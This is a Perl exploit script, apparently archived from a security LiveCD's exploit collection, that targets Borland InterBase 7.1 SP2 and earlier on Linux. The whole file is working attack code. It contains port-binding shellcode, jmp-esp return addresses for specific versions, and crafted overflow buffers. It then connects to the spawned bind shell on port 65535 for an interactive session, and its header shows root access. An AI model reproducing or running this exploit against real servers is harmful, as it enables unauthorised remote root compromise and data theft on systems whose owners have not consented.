home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / database / interbase / priv8ibserverb.pl < prev   
Perl Script  |  2005-02-12  |  5KB  |  152 lines

  1. #!/usr/bin/perl
  2. # Priv8security com remote exploit for Borland Interbase 7.1 SP 2 and lower
  3. # Public Version!!!
  4. #
  5. # Bug found by Aviram Jenik www.securiteam.com unixfocus 5AP0P0UCUO.html
  6. #
  7. # [wsxz@localhost buffer]$ perl priv8ibserverb.pl -h localhost -t 0
  8. #
  9. # -=[ Priv8security.com InterBase Server 7.1 SP2 and lower remote exploit ]=-
  10. #
  11. # [+] Using target 0: Linux Interbase 7.1 SP 2
  12. # [+] Sending first buffer... d0ne!
  13. # [+] Waiting... Got awnser!
  14. # [+] Sending final hit... Done!
  15. # [+] Enjoy your stay on this server =)
  16. #
  17. # ****** Welcome to 'localhost' ******
  18. #
  19. # Linux localhost 2.4.21-0.27mdk #1 Wed Jan 7 03:44:18 MST 2004 i686 unknown
  20. # unknown GNU/Linux
  21. # uid=0(root) gid=0(root) groups=0(root)
  22. #
  23. use IO::Socket;
  24. use Getopt::Std; getopts('h:p:t:o:', \%args);
  25.  
  26. if (defined($args{'h'})) { $host = $args{'h'}; }
  27. if (defined($args{'p'})) { $port = $args{'p'}; }else{$port = 3050;}
  28. if (defined($args{'t'})) { $target = $args{'t'}; }else{$target = 0;}
  29. if (defined($args{'o'})) { $offset = $args{'o'}; }else{$offset = 0;}
  30.  
  31. print "\n-=[ Priv8security.com InterBase Server 7.1 SP2 and lower remote exploit ]=-\n\n";
  32. if(!defined($host)){
  33. print "Usage:
  34. -h <host>
  35. -p Port <default 3050>
  36. -t Target number from list.\n\n";
  37. print STDERR "Targets:
  38. 0 - Linux Interbase 7.1 SP 2
  39. 1 - Linux Interbase 6.01 InterBaseSS_LI-V6.0-1.i386.rpm
  40. 2 - Crash\n\n";
  41. print STDERR "Usage: perl $0 -h Victim -t target\n\n";
  42. exit;
  43. }
  44.  
  45. $shellcode = # portbind 65535 by Ramon de Carvalho priv8security.com
  46. "\x31\xdb\xf7\xe3\x53\x43\x53\x6a".
  47. "\x02\x89\xe1\xb0\x66\xcd\x80\xff".
  48. "\x49\x02\x6a\x10\x51\x50\x89\xe1".
  49. "\x43\xb0\x66\xcd\x80\x89\x41\x04".
  50. "\xb3\x04\xb0\x66\xcd\x80\x43\xb0".
  51. "\x66\xcd\x80\x59\x93\xb0\x3f\xcd".
  52. "\x80\x49\x79\xf9\x68\x2f\x2f\x73".
  53. "\x68\x68\x2f\x62\x69\x6e\x89\xe3".
  54. "\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
  55.  
  56. if ( $target == "0" ) { # TESTED
  57. $ret = 0x081b7ee3; # jmp esp
  58. $pack = 0;
  59. $desc = "Linux Interbase 7.1 SP 2";
  60. }
  61. if ( $target == "1" ) { # TESTED
  62. $ret = 0x080c77bd; # jmp esp
  63. $pack = 1;
  64. $desc = "Linux Interbase 6.01 .rpm";
  65. }
  66. if ( $target == "2" ) {
  67. $ret = 0x41424344;
  68. $pack = 1;
  69. $desc = "Crash it!";
  70. }
  71.  
  72. $new_ret = pack('l', ($ret));
  73.  
  74. # Request buffer
  75. $buffer = "\x00\x00\x00\x01\x00\x00\x00\x13\x00\x00\x00\x02\x00\x00".
  76. "\x00\x24\x00\x00\x01\x4e".
  77. "A" x 334 .
  78. "\x00\x00\x00\x00\x00\x04\x00\x00\x00\x10\x01\x05".
  79. "\x61\x6c\x69\x6d\x61\x04\x05\x6c\x69\x6e\x75\x78\x06\x00\x00\x00".
  80. "\x00\x08\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x04\x00\x00".
  81. "\x00\x02\x00\x00\x00\x08\x00\x00\x00\x24\x00\x00\x00\x02\x00\x00".
  82. "\x00\x04\x00\x00\x00\x03\x00\x00\x00\x0a\x00\x00\x00\x01\x00\x00".
  83. "\x00\x02\x00\x00\x00\x04\x00\x00\x00\x04\x00\x00\x00\x0a\x00\x00".
  84. "\x00\x24\x00\x00\x00\x02\x00\x00\x00\x04\x00\x00\x00\x05";
  85.  
  86. # This buffer is for 7.1 version, its a simple classic overflow.
  87. $buffer2 = "\x00\x00\x00\x13\x00\x00\x00\x00\x00\x00\x01\x2c".
  88. "A" x 152 . $new_ret . "\x90" x (144 - length($shellcode)) . $shellcode.
  89. "\x00\x00\x00\x00".
  90. "\x00\x1c\x01\x1c\x04\x72\x6f\x6f\x74\x1e\x0b\x74\x5a\x72\x64\x6d".
  91. "\x68\x4b\x58\x42\x66\x51\x3a\x04\x3c\x00\x00\x00\x3e\x00";
  92.  
  93. # This buffer is for 6.01, a little tricky to exploit.
  94. $buffer3 = "\x00\x00\x00\x13\x00\x00\x00\x00\x00\x00\x01\x4e".
  95. "\x90" x (128 - length($shellcode)) . $shellcode.
  96. $new_ret x 2 . "\xf8\xfd\xff\xbf" . "\x90" x (180 - length($shellcode)) . $shellcode.
  97. "\xf0\x3a\x1e\x08".
  98. "AAAAAAAAAA".
  99. "\x00\x00\x00\x00".
  100. "\x00\x1c\x01\x1c\x04\x72\x6f\x6f\x74\x1e\x0b\x7a\x5a\x72\x64\x6d".
  101. "\x68\x4b\x58\x42\x66\x51\x3a\x04\x3c\x00\x00\x00\x3e\x00";
  102.  
  103. $sock = IO::Socket::INET->new(Proto=>"tcp", PeerHost=>$host,PeerPort=>$port)
  104. or die "[-] Cant Connect!!\n";
  105.  
  106. print STDERR "[+] Using target $target: $desc\n";
  107. print STDERR "[+] Sending first buffer...";
  108. $sock->send($buffer);
  109. print STDERR " d0ne!\n";
  110. print STDERR "[+] Waiting... ";
  111. $sock->recv($text,128);
  112. if($text){
  113. print STDERR "Got awnser!\n";
  114. }
  115. print STDERR "[+] Sending final hit... ";
  116. if($pack){
  117. $sock->send($buffer3);
  118. }else{
  119. $sock->send($buffer2);
  120. }
  121. print STDERR "Done!\n";
  122. sleep(3);
  123.  
  124. $sc = IO::Socket::INET->new(Proto=>"tcp", PeerHost=>$host,PeerPort=>65535,Type=>SOCK_STREAM,Reuse=>1)
  125. or die "[-] No luck, try other offset next time ok.\n";
  126.  
  127. print "[+] Enjoy your stay on this server =)\n";
  128.  
  129. $sc->autoflush(1);
  130.  
  131. print $sc "echo;echo \"****** Welcome to '`hostname -s`' ******\"\n";
  132. print $sc "echo;uname -a;id;echo\n";
  133.  
  134. die "cant fork: $!" unless defined($pid = fork());
  135.  
  136. if ($pid) {
  137. while(defined ($line = <$sc>)) {
  138. print STDOUT $line;
  139. }
  140. kill("TERM", $pid);
  141. }
  142. else
  143. {
  144. while(defined ($line = <STDIN>)) {
  145. print $sc $line;
  146. }
  147. }
  148. close($sc);
  149. print "Good bye!!\n";
  150.  
  151.  
  152.